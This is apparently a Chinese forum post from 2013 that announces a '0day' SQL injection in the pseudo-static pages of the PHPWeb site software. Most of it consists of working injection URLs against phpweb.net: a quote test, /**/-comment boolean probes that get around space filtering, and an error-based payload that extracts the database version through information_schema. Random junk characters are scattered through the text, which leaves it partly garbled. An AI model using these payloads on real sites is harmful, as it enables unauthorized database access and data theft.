phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入
; \. b- U8 V, ^" i* ^1 ^
/ q8 q+ u9 D9 y' S( A主站：http://phpweb.net/
: P( ?; k; u' i9 S加’检测：
1 d. ^* x! ]  j+ O" Y
http://www.phpweb.net/down/html/?772′.html

/ c: K  T: H. J9 G  S' W出错
存在注入。
! c! P  `4 a9 ~+ v& K9 S' g5 D- ]不能用空格，只能用/*罗
http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常

http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
爆数据库版本：
3 B" ~3 Z% o. i, f! [
) t/ G( n; X  ]. g?
1
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
更新日期: 2013-01-03 13:39:50        
7 X2 T; O5 p# J* c. ~! n6 O